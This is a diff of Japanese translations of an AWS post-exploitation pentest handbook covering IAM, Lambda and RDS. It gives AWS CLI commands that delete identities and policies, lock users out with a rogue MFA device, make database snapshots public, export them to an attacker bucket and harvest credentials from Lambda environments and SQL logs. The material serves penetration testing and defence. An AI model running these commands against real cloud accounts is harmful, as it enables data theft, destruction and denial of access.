次のいずれかの権限 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — を持つアクターは、アクセスキー、ログインプロファイル、SSH キー、サービス固有の資格情報、インスタンスプロファイル、証明書、CloudFront public keys を削除したり、インスタンスプロファイルからロールを切り離したりできます。こうした操作は正当なユーザーやアプリケーションを即座にブロックし、これらの資格情報に依存するシステムに対してサービス拒否（DoS）やアクセス喪失を引き起こす可能性があるため、これらの IAM 権限は厳格に制限・監視される必要があります。
|
||||
### Credential Deletion
|
||||
次のいずれかの権限 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — を持っていると、攻撃者はアクセスキー、ログインプロファイル、SSH 公開鍵、サービス固有の認証情報、インスタンスプロファイル、証明書、あるいは CloudFront の公開鍵を削除したり、インスタンスプロファイルからロールを切り離したりできます。これらの操作は正当なユーザやアプリケーションを即座にブロックし、認証情報に依存するシステムのサービス停止（DoS）やアクセス喪失を引き起こす可能性があるため、これらの IAM 権限は厳格に制限し、監視する必要があります。
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### アイデンティティの削除
|
||||
`iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole`、または`iam:RemoveUserFromGroup`のような権限があると、アクターはユーザー、ロール、グループを削除したり、グループのメンバーシップを変更したりして、アイデンティティや関連する痕跡を取り除くことができます。これは、これらのアイデンティティに依存する人やサービスのアクセスを即座に破壊し、denial-of-service やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限および監視される必要があります。
|
||||
`iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole`、または`iam:RemoveUserFromGroup`のような権限があると、実行者はユーザー、ロール、グループを削除したり—あるいはグループのメンバーシップを変更したりして—アイデンティティと関連する痕跡を除去できます。これにより、それらのアイデンティティに依存する人やサービスのアクセスが即座に失われ、denial-of-service やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限され監視される必要があります。
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -114,7 +114,7 @@ aws iam delete-group \
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
次のいずれかの権限 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つアクターは、管理済み/インラインのポリシーを削除またはデタッチし、ポリシーのバージョンや permissions boundaries を削除し、ユーザー、グループ、またはロールからポリシーを切り離すことができます。これにより認可が失われたり権限モデルが変更されたりして、これらのポリシーに依存していたプリンシパルが即時にアクセスを失ったりサービス拒否を受けたりする可能性があるため、これらの IAM アクションは厳格に制限および監視される必要があります。
|
||||
以下のいずれかの権限 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つアクターは、マネージド／インラインポリシーを削除またはデタッチし、ポリシーのバージョンや permissions boundaries（権限境界）を削除し、ユーザー、グループ、ロールからポリシーのリンクを解除できます。これにより認可が失われ、権限モデルが変更され、当該ポリシーに依存していたプリンシパルは即時にアクセスを失ったりサービス拒否状態になったりする可能性があるため、これらの IAM アクションは厳格に制限および監視されるべきです。
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -126,8 +126,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### フェデレーテッドアイデンティティの削除
|
||||
`iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider`、および `iam:RemoveClientIDFromOpenIDConnectProvider` を使用すると、攻撃者は OIDC/SAML identity providers を削除したりクライアント ID を削除したりできます。これによりフェデレーテッド認証が破壊され、token validation が行えなくなり、IdP または構成が復旧されるまで SSO に依存するユーザーやサービスへのアクセスが即座に拒否されます。
|
||||
### フェデレーテッドIDの削除
|
||||
`iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider`、および`iam:RemoveClientIDFromOpenIDConnectProvider`を使うと、攻撃者はOIDC/SAMLのアイデンティティプロバイダーを削除したりクライアントIDを削除したりできます。これによりフェデレーテッド認証が破壊され、トークンの検証ができなくなり、IdPまたは設定が復旧されるまでSSOに依存するユーザーやサービスへのアクセスが直ちに拒否されます。
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -137,8 +137,8 @@ aws iam delete-open-id-connect-provider \
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### 不正な MFA 有効化
|
||||
`iam:EnableMFADevice` を用いることで、攻撃者はユーザーの識別情報にMFAデバイスを登録でき、正当なユーザーがサインインできなくなる。不正なMFAが有効化されると、そのデバイスが削除またはリセットされるまでユーザーはロックアウトされる可能性がある（注：複数のMFAデバイスが登録されている場合、サインインにはいずれか1つで足りるため、この攻撃はアクセス拒否には影響しない）。
|
||||
### 不正なMFAの有効化
|
||||
`iam:EnableMFADevice` を使うことで、攻撃者はユーザーのアカウントにMFAデバイスを登録でき、正当なユーザーがサインインできなくなるようにします。不正なMFAが有効化されると、そのデバイスが削除またはリセットされるまでユーザーはロックアウトされる可能性があります（注：複数のMFAデバイスが登録されている場合、サインインにはいずれか1つのみが必要なため、この攻撃はアクセス拒否には影響しません）。
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -146,8 +146,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### 証明書／キーのメタデータ改ざん
|
||||
`iam:UpdateSSHPublicKey`、`iam:UpdateCloudFrontPublicKey`、`iam:UpdateSigningCertificate`、`iam:UpdateServerCertificate` を利用すると、公開鍵や証明書のステータスやメタデータを変更できます。鍵／証明書を無効化したり参照を変更したりすることで、SSH認証を破損させ、X.509/TLS の検証を無効化し、これらの認証情報に依存するサービスを即座に中断させて、アクセス喪失や可用性の低下を引き起こす可能性があります。
|
||||
### 証明書/キーのメタデータ改ざん
|
||||
`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` を使うことで、攻撃者は公開鍵や証明書の状態やメタデータを変更できます。キー／証明書を無効にしたり参照を変更したりすることで、SSH認証を破綻させ、X.509/TLSの検証を無効化し、これらの資格情報に依存するサービスを即座に中断させ、アクセスや可用性の喪失を引き起こす可能性があります。
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -160,7 +160,7 @@ aws iam update-server-certificate \
|
||||
```
|
||||
### `iam:Delete*`
|
||||
|
||||
IAM のワイルドカード iam:Delete* は、ユーザー、ロール、グループ、ポリシー、キー、証明書、MFA デバイス、ポリシーのバージョンなど、さまざまな種類の IAM リソースを削除する権限を与えます。そのため影響範囲が非常に大きく、iam:Delete* を付与された主体は識別情報、認証情報、ポリシーおよび関連アーティファクトを恒久的に破壊したり、監査証拠を削除したり、サービスや運用の停止を引き起こしたりする可能性があります。いくつかの例は次のとおりです
|
||||
IAM のワイルドカード iam:Delete* は、ユーザー、ロール、グループ、ポリシー、キー、証明書、MFA デバイス、ポリシーのバージョンなど、多くの種類の IAM リソースを削除する権限を付与します。そのため影響範囲は非常に大きく、iam:Delete* を付与されたアクターは ID、認証情報、ポリシーおよび関連アーティファクトを恒久的に破壊したり、監査/証拠を削除したり、サービスや運用の停止を引き起こしたりする可能性があります。いくつかの例は次のとおりです
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
@@ -173,11 +173,11 @@ aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
iam:EnableMFADevice が付与された主体は、対象ユーザーにすでに有効な MFA が設定されていない場合に、アカウント内のアイデンティティに MFA デバイスを登録できます。これはユーザーのアクセスを妨害するために利用できます。攻撃者が MFA デバイスを登録すると、正当なユーザーは攻撃者が登録した MFA を制御していないため、サインインできなくなる可能性があります。
|
||||
iam:EnableMFADevice アクションが付与された主体は、対象ユーザーにまだ有効なMFAが登録されていない場合に、アカウント内のアイデンティティにMFAデバイスを登録できます。これはユーザーのアクセスを妨害するために利用できます：攻撃者がMFAデバイスを登録すると、正当なユーザーは攻撃者が登録したMFAを制御していないためサインインできなくなる可能性があります。
|
||||
|
||||
このアクセス拒否攻撃は、ユーザーに MFA がまったく登録されていない場合にのみ有効です。攻撃者がそのユーザーのために MFA デバイスを登録すると、正当なユーザーはその新しい MFA を必要とするフローからロックアウトされます。ユーザーがすでに1つ以上の MFA デバイスを保持している場合、攻撃者が制御する MFA を追加しても正当なユーザーは妨げられません — 既存の任意の MFA を使って引き続き認証できます。
|
||||
このアクセス拒否攻撃は、ユーザーにMFAが何も登録されていない場合にのみ有効です。攻撃者がそのユーザーのためにMFAデバイスを登録すると、正当なユーザーはその新しいMFAを要求するフローからロックアウトされます。ユーザーがすでに1つ以上のMFAデバイスを持っている場合、攻撃者が制御するMFAを追加しても正当なユーザーはブロックされません — 既に持っているMFAを使って引き続き認証できます。
|
||||
|
||||
ユーザーの MFA デバイスを有効化（登録）するために、攻撃者は次のように実行できます:
|
||||
ユーザーのためにMFAデバイスを有効化（登録）するには、攻撃者は次のように実行できます:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
詳細は次を参照してください：
|
||||
詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,19 +12,19 @@
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda はランタイムで環境変数を使用して資格情報を注入します。もしそれらにアクセスできれば（`/proc/self/environ` を読み取るか、脆弱な関数自体を利用することで）、自分でそれらを使用できます。`AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY`、`AWS_ACCESS_KEY_ID` というデフォルトの変数名に格納されています。
|
||||
Lambda は実行時に環境変数を使ってクレデンシャルを注入します。これらにアクセスできれば（`/proc/self/environ` を読み取るか脆弱な関数自体を利用して）、自分でそのクレデンシャルを使用できます。これらはデフォルトの変数名 `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, および `AWS_ACCESS_KEY_ID` に保存されています。
|
||||
|
||||
デフォルトでは、これらの資格情報は cloudwatch のロググループに書き込み権限（ロググループ名は `AWS_LAMBDA_LOG_GROUP_NAME` に保存されています）および任意のロググループを作成する権限を持ちます。ただし、lambda functions は用途に応じてより多くの権限が割り当てられていることがよくあります。
|
||||
デフォルトでは、これらは cloudwatch log group（その名前は `AWS_LAMBDA_LOG_GROUP_NAME` に格納されています）への書き込みや任意のロググループの作成が可能ですが、Lambda 関数には用途に応じてより多くの権限が割り当てられていることがよくあります。
|
||||
|
||||
### `lambda:Delete*`
|
||||
lambda:Delete* 権限が付与された攻撃者は、Lambda functions、versions/aliases、layers、event source mappings およびその他の関連構成を削除できます。
|
||||
lambda:Delete* が付与された攻撃者は Lambda 関数、バージョン/エイリアス、レイヤー、event source mappings、およびその他関連する設定を削除することができます。
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
もし攻撃者が何らかの方法で Lambda の内部で RCE を獲得すると、他のユーザが Lambda に送る HTTP リクエストを盗むことができます。リクエストに機密情報（cookies、credentials...）が含まれている場合、それらを窃取できます。
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
@@ -32,7 +32,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Lambda Layers を悪用すると、extensions を悪用して Lambda 内に永続化し、リクエストを盗んだり改変したりすることも可能です。
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -40,7 +40,7 @@ Lambda Layers を悪用すると、extensions を悪用して Lambda 内に永
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
空の VpcConfig (SubnetIds=[], SecurityGroupIds=[]) に設定を更新して、制限された VPC から Lambda 関数を強制的に外へ出すことができます。関数は Lambda 管理のネットワークプレーンで実行され、アウトバウンドのインターネットアクセスを回復し、NAT なしのプライベート VPC サブネットが課すイグレス制御を回避します。
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -48,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
`lambda:PutRuntimeManagementConfig` を悪用して関数を特定のランタイムバージョンにピン（Manual）したり、更新を凍結（FunctionUpdate）したりできます。これにより悪意あるレイヤー/ラッパーとの互換性が維持され、関数を古く脆弱なランタイムに留めて悪用や長期的な永続化を助ける可能性があります。
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -56,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
`lambda:UpdateFunctionConfiguration` の高度なログ制御を悪用して、関数のログを攻撃者が指定した CloudWatch Logs の log group にリダイレクトできます。これはコードや実行ロールを変更せずに機能します（ほとんどの Lambda ロールは `AWSLambdaBasicExecutionRole` 経由で `logs:CreateLogGroup/CreateLogStream/PutLogEvents` を既に含んでいます）。関数がシークレットやリクエストボディを出力したり、スタックトレースでクラッシュした場合は、新しいロググループからそれらを収集できます。
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -64,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Function URL の AuthType を NONE に切り替え、lambda:InvokeFunctionUrl を全員に付与するリソースベースポリシーをアタッチすることで、プライベートな Lambda Function URL を公開の未認証エンドポイントに変更できます。これにより内部関数の匿名呼び出しが可能になり、機密なバックエンド処理が露出する恐れがあります。
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -72,7 +72,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
`UpdateEventSourceMapping` を悪用して既存の Event Source Mapping (ESM) のターゲット Lambda 関数を変更し、DynamoDB Streams、Kinesis、または SQS からのレコードを攻撃者管理下の関数へ配信させることができます。これによりプロデューサや元の関数コードに触れずにライブデータを密かに転用できます。
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -80,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
`lambda:UpdateFunctionConfiguration` を悪用して既存の EFS Access Point を Lambda にアタッチし、マウントされたパスからファイルを列挙/読み取る簡単なコードをデプロイして、関数が以前はアクセスできなかった共有シークレットや設定を外部へ持ち出すことができます。
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
詳細は以下を参照してください：
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
攻撃者が十分な権限を持っていれば、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を復元することで、**DB を公開アクセス可能にする**ことができます。
|
||||
攻撃者が十分な権限を持っている場合、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を作成することで、**DB を公開アクセス可能にする**ことができます。
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,21 +39,21 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
rds:StopDBCluster または rds:StopDBInstance を持つ攻撃者は、RDS インスタンスまたはクラスタ全体を即時に停止させることができ、データベースの利用不能、接続切断、およびデータベースに依存するプロセスの中断を引き起こします。
|
||||
rds:StopDBCluster または rds:StopDBInstance を持つ attacker は、RDS インスタンスまたはクラスタ全体を即時に停止させることができ、データベースの利用不可、接続の切断、およびデータベースに依存するプロセスの中断を引き起こします。
|
||||
|
||||
単一の DB インスタンスを停止するには（例）：
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
DB cluster 全体を停止するには（例）:
|
||||
DB クラスター全体を停止する（例）：
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
`rds:Delete*` が付与された攻撃者は RDS リソースを削除でき、DB インスタンス、クラスター、スナップショット、自動バックアップ、サブネットグループ、パラメータ/オプショングループや関連するアーティファクトを削除して、即時のサービス停止、データ損失、リカバリポイントの破壊、及びフォレンジック証拠の消失を引き起こす可能性があります。
|
||||
rds:Delete* を付与された攻撃者は RDS resources を削除でき、DB instances、clusters、snapshots、automated backups、subnet groups、parameter/option groups および関連するアーティファクトを削除して、即時のサービス停止、データ損失、復旧ポイントの破壊、フォレンジック証拠の喪失を引き起こす可能性があります。
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +76,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開** **可能**にすることができます。その後、攻撃者は自分のアカウントでそのスナップショットからDBを作成できます。
|
||||
これらの権限を持つ攻撃者は、**DBのスナップショットを作成**して、それを**公開** **利用可能**にすることができます。すると、自分のアカウントでそのスナップショットからDBを作成するだけで済みます。
|
||||
|
||||
攻撃者が **`rds:CreateDBSnapshot` を持っていない**場合でも、**他の**作成済みスナップショットを**公開**にすることができます。
|
||||
攻撃者が **`rds:CreateDBSnapshot` を持っていない** 場合でも、**他の** 作成されたスナップショットを **公開** することができます。
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
権限`rds:DownloadDBLogFilePortion`を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロードできる**。もし機密データやアクセス認証情報が誤ってログに記録されていた場合、攻撃者はその情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。
|
||||
`rds:DownloadDBLogFilePortion` の権限を持つ攻撃者は **RDSインスタンスのログファイルの一部をダウンロードできます**。機密データやアクセス資格情報が誤ってログに記録されていた場合、攻撃者はその情報を使って権限を昇格させたり、不正な操作を実行したりする可能性があります。
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: leaked credentials を使用して機密情報にアクセスしたり、許可されていない操作を実行したりする可能性があります。
|
||||
**Potential Impact**: leaked credentials を使用して機密情報にアクセスしたり、不正な操作を行ったりする可能性があります。
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
これらの権限を持つ攻撃者は**既存のRDSインスタンスをDoSする**ことができます。
|
||||
これらの権限を持つ攻撃者は **既存の RDS インスタンスを DoS** することができます。
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**潜在的な影響**: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。
|
||||
**潜在的な影響**: 既存のRDSインスタンスの削除、およびデータ喪失の可能性。
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: テスト
|
||||
|
||||
攻撃者がこの権限を持っていると、**RDS インスタンスのスナップショットを S3 バケットへエクスポートする**ことができます。攻撃者が宛先の S3 バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
|
||||
攻撃者がこの権限を持っていると、**RDSインスタンスのスナップショットをS3バケットにエクスポートする**ことができます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**潜在的影響**: エクスポートされたスナップショット内の機密データへのアクセス。
|
||||
**Potential impact**: エクスポートされたスナップショット内の機密データへのアクセス。
|
||||
|
||||
### ステルス復元のためのクロスリージョン自動バックアップ複製 (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### ステルス復旧のためのクロスリージョン自動バックアップ複製 (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別のAWSリージョンに静かに複製し、そこで復元します。攻撃者は復元したDBをパブリックにアクセス可能にし、マスターパスワードをリセットして、防御側が監視していないリージョンでアウトオブバンドにデータへアクセスできます。
|
||||
クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別の AWS Region に密かに複製し、そこで復元します。攻撃者は復元した DB を公開してマスターパスワードをリセットし、守備側が監視していない Region で別経路からデータにアクセスできます。
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
必要な権限（最小）:
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication`（宛先のRegionで）
|
||||
- `rds:DescribeDBInstanceAutomatedBackups`（宛先のRegionで）
|
||||
- `rds:RestoreDBInstanceToPointInTime`（宛先のRegionで）
|
||||
- `rds:ModifyDBInstance`（宛先のRegionで）
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication`（オプションのクリーンアップ）
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`（復元したDBを公開するため）
|
||||
|
||||
Impact: 本番データのコピーを別リージョンに復元し、攻撃者が管理する認証情報で公開することで、永続化およびデータの持ち出しが可能になる。
|
||||
影響: 本番データのコピーを別のRegionに復元し、攻撃者が管理する資格情報で公開することで、Persistence および data exfiltration が可能になる。
|
||||
|
||||
<details>
|
||||
<summary>エンドツーエンド CLI（プレースホルダを置換）</summary>
|
||||
<summary>エンドツーエンドのCLI（プレースホルダを置き換えてください）</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -199,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### DBパラメータグループでフルSQLロギングを有効化して、RDSログAPI経由で持ち出す
|
||||
### DBパラメータグループ経由で完全な SQL ログを有効化し、RDS log APIs 経由で exfiltrate
|
||||
|
||||
`rds:ModifyDBParameterGroup` を RDS ログダウンロードAPI と組み合わせて悪用し、アプリケーションが実行する全てのSQL文を捕捉します（DBエンジンの認証情報は不要）。エンジンのSQLロギングを有効にし、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`（または REST の `downloadCompleteLogFile`）でログファイルを取得します。秘密情報／PII／JWT を含む可能性のあるクエリの収集に有用です。
|
||||
`rds:ModifyDBParameterGroup` を悪用して RDS のログダウンロード API を使い、アプリケーションで実行される全ての SQL ステートメントを取得します（DBエンジンの資格情報は不要）。エンジンの SQL ロギングを有効化し、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`（または REST の `downloadCompleteLogFile`）でログファイルを取得します。秘密情報/PII/JWTs を含む可能性のあるクエリの収集に有用です。
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (インスタンスがデフォルトのパラメータグループを使用している場合にカスタムパラメータグループをアタッチするためのみ)
|
||||
- `rds:RebootDBInstance` (再起動が必要なパラメータ用、例: PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) 対象のリコンと現在のパラメータグループの確認
|
||||
1) Recon target and current parameter group
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) カスタム DB parameter group がアタッチされていることを確認する（デフォルトは編集できない）
|
||||
- インスタンスがすでにカスタムグループを使用している場合は、次のステップでその名前を再利用する。
|
||||
- そうでなければ、engine family に合ったものを作成してアタッチする:
|
||||
2) custom DB parameter group がアタッチされていることを確認する（default は編集できない）
|
||||
- インスタンスが既に custom DB parameter group を使用している場合は、次のステップでその名前を再利用する。
|
||||
- そうでなければ、engine family に合わせたものを作成してアタッチする:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -232,8 +232,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) 詳細なSQLログを有効にする
|
||||
- MySQL engines (即時適用 / 再起動不要):
|
||||
3) 詳細な SQL ログを有効化する
|
||||
- MySQL エンジン（即時適用 / 再起動不要）:
|
||||
```bash
|
||||
